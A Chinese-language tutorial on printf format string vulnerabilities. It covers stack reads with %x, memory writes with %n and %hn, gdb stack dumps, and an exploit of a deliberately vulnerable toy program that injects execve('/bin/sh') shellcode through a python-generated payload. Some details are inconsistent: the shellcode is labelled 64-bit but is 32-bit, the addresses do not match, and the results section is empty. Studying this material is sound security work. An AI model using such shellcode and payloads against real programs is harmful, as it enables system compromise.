漏洞原理:
printf是c语言中少有的支持可变参数的库函数。对于可变参数的函数。函数的调用者可以自由的指定函数参数的数量和类型,被调用者无法知道在函数调用之前到底有多少参数被压入栈帧当中。
格式化字符串漏洞的产生根源主要源于对用户输入未进行过滤,这些输入数据都作为数据传递给某些执行格式化操作的函数,如printf,sprintf,vprintf,vprintf。恶意用户可以使用"%s","%x"来得到堆栈的数据,甚至可以通过"%n"来对任意地址进行读写,导致任意代码读写。
%d 用于读取10进制数值
%x 用于读取16进制数值
%s 用于读取字符串值
%n 用于讲当前字符串的长度打印到var中,例 printf("test %hn",&var[其中var为两个字节]) printf("test %n",&var[其中var为一个字节])
当printf在输出格式化字符串的时候,会维护一个内部指针,当printf逐步将格式化字符串的字符打印到屏幕,当遇到%的时候,printf会期望它后面跟着一个格式字符串,因此会递增内部字符串以抓取格式控制符的输入值。这就是问题所在,printf无法知道栈上是否放置了正确数量的变量供它操作,如果没有足够的变量可供操作,而指针按正常情况下递增,就会产生越界访问。甚至由于%n的问题,可导致任意地址读写。
漏洞利用:
越界数据访问
#include
int main ()
{
int a=1,b=2,c=3;
char buf[]="test";
printf(“%s %d %d %d %x %x %x\n”,buf,a,b,c);//格式控制符与参数数量不等
return 0;
}
编译问题:warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
解决:-Wformat=0
gcc -z execstack -Wformat=0 -g -fno-stack-protector -m32 -o pr pr.c
gdb调试
(gdb) start
Temporary breakpoint 1 at 0x804841c: file pr.c, line 4.
Starting program: /home/hmsec/pr
Temporary breakpoint 1, main () at pr.c:4
4 int a=1,b=2,c=3;
(gdb) break printf
Breakpoint 2 at 0xf7e4a670
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/hmsec/pr
Breakpoint 2, 0xf7e4a670 in printf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/10x $esp
0xffffd05c: 0x08048456 0x080484f0 0xffffd08f 0x00000001
0xffffd06c: 0x00000002 0x00000003 0xf7fb3000 0xf7fb1244
0xffffd07c: 0xf7e190ec 0x00000001
利用%x可以一直读取栈内的内存数据
利用%n写入数据
%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址
#include
main()
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%d%n\n", num, &num);
printf("After: num = %d\n", num);
}
gcc -z execstack -Wformat=0 -g -fno-stack-protector -m32 -o pr2 pr2.c
自定义字符打印宽度
#include
main()
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%.100d%n\n", num, &num);
printf("After: num = %d\n", num);
}
格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。
漏洞实验
源代码
int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];
strcpy(buf,argc[1]);
printf("%s%hn/n",buf,plen);
while(zero);
}
如果攻击者提供260 bytes长的参数,最后四个字节将覆盖指针*plen。当接下来执行printf()时,将会在*plen(这个值由攻击者控制)所指向的内存中写入一些字符。然而,由于format string中的h,攻击者将只能写两个字节(short write---由于h的转换)到这个内存地址。如果提供的参数大于260字节,那么将会覆盖zero,这个例子的程序将进入死循环。
反汇编代码:
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x0804846b <+0>: lea ecx,[esp+0x4]
0x0804846f <+4>: and esp,0xfffffff0
0x08048472 <+7>: push DWORD PTR [ecx-0x4]
0x08048475 <+10>: push ebp
0x08048476 <+11>: mov ebp,esp
0x08048478 <+13>: push ebx
0x08048479 <+14>: push ecx
0x0804847a <+15>: sub esp,0x110
0x08048480 <+21>: mov ebx,ecx
0x08048482 <+23>: mov WORD PTR [ebp-0xa],0x0 //zero
0x08048488 <+29>: sub esp,0xc
0x0804848b <+32>: push 0x4
0x0804848d <+34>: call 0x8048340
0x08048492 <+39>: add esp,0x10
0x08048495 <+42>: mov DWORD PTR [ebp-0x10],eax //plen
栈空间:
漏洞原理
printf("%s%hn/n",buf,plen);
当执行printf()时,将会在*plen所指向的内存中写入一些字符。然而,由于format string中的h,攻击者将只能写两个字节(short write---由于h的转换)到这个内存地址。如果提供的参数大于260字节,那么将会覆盖zero,这个例子的程序将进入死循环。
所以需要构造一个合适的argc[1] ,另外有针对zero的检查,如果为NULL字节,程序将正常退出(这样就执行了shellcode)。因为zero为0,while循环结束,绕过死循环。这个问题可以通过%hn的格式参数来完成。zero是两个字节长,包含了两个NULL字节的较小的数是0x10000(65536的16进制)。所以,如果argc[1]是65536bytes长,*plen指向了zero的地址的话,死循环将被绕过。
编写exp
在EXPLOIT DATABASE中找到Linux64下简单的shellcode程序,并测试成功!
Shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80’
zero = ‘\x8e\xd0\xfe\xff’
shellcode = ‘\x8c\xcf\xff\xff’
r `python -c 'print "\x8c\xcf\xfe\xff"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"A"*(256-25-4)+"\x8e\xd0\xfe\xff"+"\x8c\xcf\xfe\xff"*((0x10000-260)/4)'`
结果